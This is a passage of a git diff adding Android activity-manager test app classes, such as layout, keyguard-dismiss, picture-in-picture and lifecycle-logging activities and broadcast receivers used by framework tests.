+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class BottomLeftLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
new file mode 100644
index 0000000..8d0e1e2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class BottomRightLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
new file mode 100644
index 0000000..cd0c745
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.server.am.tools.ActivityLauncher;
+import android.util.Log;
+
+/**
+ * Activity that registers broadcast receiver .
+ */
+public class BroadcastReceiverActivity extends Activity {
+
+ public static final String ACTION_TRIGGER_BROADCAST = "trigger_broadcast";
+ private static final String TAG = BroadcastReceiverActivity.class.getSimpleName();
+
+ private TestBroadcastReceiver mBroadcastReceiver = new TestBroadcastReceiver();
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
+
+ registerReceiver(mBroadcastReceiver, broadcastFilter);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ unregisterReceiver(mBroadcastReceiver);
+ }
+
+ public class TestBroadcastReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final Bundle extras = intent.getExtras();
+ Log.i(TAG, "onReceive: extras=" + extras);
+
+ if (extras == null) {
+ return;
+ }
+ if (extras.getBoolean("finish")) {
+ finish();
+ }
+ if (extras.getBoolean("moveToBack")) {
+ moveTaskToBack(true);
+ }
+ if (extras.containsKey("orientation")) {
+ setRequestedOrientation(extras.getInt("orientation"));
+ }
+ if (extras.getBoolean("dismissKeyguard")) {
+ getWindow().addFlags(FLAG_DISMISS_KEYGUARD);
+ }
+ if (extras.getBoolean("dismissKeyguardMethod")) {
+ getSystemService(KeyguardManager.class).requestDismissKeyguard(
+ BroadcastReceiverActivity.this, new KeyguardDismissLoggerCallback(context));
+ }
+
+ ActivityLauncher.launchActivityFromExtras(BroadcastReceiverActivity.this, extras);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
new file mode 100644
index 0000000..0e73939
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * Activity with DialogWhenLarge Theme.
+ */
+public class DialogWhenLargeActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = DialogWhenLargeActivity.class.getSimpleName();
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
new file mode 100644
index 0000000..30dc69c
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class DismissKeyguardActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
new file mode 100644
index 0000000..e19c4a1
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class DismissKeyguardMethodActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+ new KeyguardDismissLoggerCallback(this));
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
new file mode 100644
index 0000000..ce6dbb2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class DockedActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
new file mode 100644
index 0000000..d8c8b4f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.server.am;
+
+import android.content.res.Configuration;
+import android.content.res.TypedArray;
+import android.content.res.XmlResourceParser;
+import android.os.Bundle;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.Xml;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+
+public class FontScaleActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = FontScaleActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ dumpFontSize();
+ }
+
+ // We're basically ensuring that no matter what happens to the resources underneath the
+ // Activity, any TypedArrays obtained from the pool have the correct DisplayMetrics.
+ protected void dumpFontSize() {
+ try (XmlResourceParser parser = getResources().getXml(R.layout.font_scale)) {
+ //noinspection StatementWithEmptyBody
+ while (parser.next() != XmlPullParser.START_TAG) { }
+
+ final AttributeSet attrs = Xml.asAttributeSet(parser);
+ TypedArray ta = getTheme().obtainStyledAttributes(attrs,
+ new int[] { android.R.attr.textSize }, 0, 0);
+ try {
+ final int fontPixelSize = ta.getDimensionPixelSize(0, -1);
+ if (fontPixelSize == -1) {
+ throw new AssertionError("android:attr/textSize not found");
+ }
+
+ Log.i(getTag(), "fontPixelSize=" + fontPixelSize);
+ } finally {
+ ta.recycle();
+ }
+ } catch (XmlPullParserException | IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
new file mode 100644
index 0000000..8699992
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.server.am;
+
+import android.content.res.Configuration;
+
+public class FontScaleNoRelaunchActivity extends FontScaleActivity {
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ dumpFontSize();
+ }
+
+ @Override
+ protected String getTag() {
+ return FontScaleNoRelaunchActivity.class.getSimpleName();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
new file mode 100644
index 0000000..0d60e66
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.graphics.Rect;
+
+public class FreeformActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ super.onResume();
+ final Intent intent = new Intent(this, TestActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchBounds(new Rect(0, 0, 900, 900));
+ this.startActivity(intent, options.toBundle());
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
new file mode 100644
index 0000000..c7113e6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
+import android.util.Log;
+
+public class KeyguardDismissLoggerCallback extends KeyguardDismissCallback {
+
+ private final String TAG = "KeyguardDismissLoggerCallback";
+
+ private final Context mContext;
+
+ public KeyguardDismissLoggerCallback(Context context) {
+ mContext = context;
+ }
+
+ @Override
+ public void onDismissError() {
+ Log.i(TAG, "onDismissError");
+ }
+
+ @Override
+ public void onDismissSucceeded() {
+ if (mContext.getSystemService(KeyguardManager.class).isDeviceLocked()) {
+ // Device is still locked? What a fail. Don't print "onDismissSucceded" such that the
+ // log fails.
+ Log.i(TAG, "dismiss succedded was called but device is still locked.");
+ } else {
+ Log.i(TAG, "onDismissSucceeded");
+ }
+ }
+
+ @Override
+ public void onDismissCancelled() {
+ Log.i(TAG, "onDismissCancelled");
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
new file mode 100644
index 0000000..f69dc5d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class KeyguardLockActivity extends BroadcastReceiverActivity {
+
+ private KeyguardManager.KeyguardLock mKeyguardLock;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mKeyguardLock = getSystemService(KeyguardManager.class).newKeyguardLock("test");
+ mKeyguardLock.disableKeyguard();
+ }
+
+ @Override
+ protected void onDestroy() {
+ mKeyguardLock.reenableKeyguard();
+ super.onDestroy();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
new file mode 100644
index 0000000..2d7ca6f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.res.Configuration;
+
+public class LandscapeOrientationActivity extends AbstractLifecycleLogActivity {
+ @Override
+ protected String getTag() {
+ return "LandscapeOrientationActivity";
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ final Configuration config = getResources().getConfiguration();
+ dumpDisplaySize(config);
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ dumpDisplaySize(newConfig);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
new file mode 100644
index 0000000..c67e9dd
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class LaunchAssistantActivityFromSession extends Activity {
+ @Override
+ protected void onResume() {
+ super.onResume();
+ AssistantVoiceInteractionService.launchAssistantActivity(this, getIntent().getExtras());
+ finishAndRemoveTask();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
new file mode 100644
index 0000000..116bd22
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class LaunchAssistantActivityIntoAssistantStack extends Activity {
+
+ // Launches the translucent assist activity
+ public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ if (getIntent().hasExtra(EXTRA_IS_TRANSLUCENT) &&
+ Boolean.valueOf(getIntent().getStringExtra(EXTRA_IS_TRANSLUCENT))) {
+ TranslucentAssistantActivity.launchActivityIntoAssistantStack(this,
+ getIntent().getExtras());
+ } else {
+ AssistantActivity.launchActivityIntoAssistantStack(this, getIntent().getExtras());
+ }
+ finishAndRemoveTask();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
new file mode 100644
index 0000000..01a2fb1
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.server.am.tools.ActivityLauncher;
+import android.util.Log;
+
+/** Broadcast receiver that can launch activities. */
+public class LaunchBroadcastReceiver extends BroadcastReceiver {
+ private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
new file mode 100644
index 0000000..db1119d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.os.Bundle;
+
+public class LaunchEnterPipActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+ PipActivity.launchEnterPipActivity(this);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
new file mode 100644
index 0000000..bb97261
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class LaunchIntoPinnedStackPipActivity extends Activity {
+ @Override
+ protected void onResume() {
+ super.onResume();
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, true /* newTask */);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
new file mode 100644
index 0000000..52263f2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.pm.PackageManager;
+
+public class LaunchPipOnPipActivity extends Activity {
+ @Override
+ public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+ super.onPictureInPictureModeChanged(isInPictureInPictureMode);
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
+ getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
new file mode 100644
index 0000000..814ed60
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.am.tools.ActivityLauncher;
+
+/**
+ * Activity that launches another activities when new intent is received.
+ */
+public class LaunchingActivity extends Activity {
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ ActivityLauncher.launchActivityFromExtras(this, intent.getExtras());
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java b/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
new file mode 100644
index 0000000..e9cc897
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.view.View;
+
+public class LifecycleLogView extends View {
+ private final String TAG = "LifecycleLogView";
+
+ public LifecycleLogView(Context context) {
+ super(context);
+ }
+
+ public LifecycleLogView(Context context, AttributeSet attrs) {
+ this(context, attrs, 0);
+ }
+
+ public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr) {
+ this(context, attrs, defStyleAttr, 0);
+ }
+
+ public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes)
+ {
+ super(context, attrs, defStyleAttr, defStyleRes);
+ }
+
+ @Override
+ protected void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ Log.i(TAG, "onConfigurationChanged");
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
new file mode 100644
index 0000000..5ed370e
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.util.Log;
+
+/**
+ * Activity that logs configuration changes.
+ */
+public class LogConfigurationActivity extends Activity {
+
+ private static final String TAG = "LogConfigurationActivity";
+
+ @Override
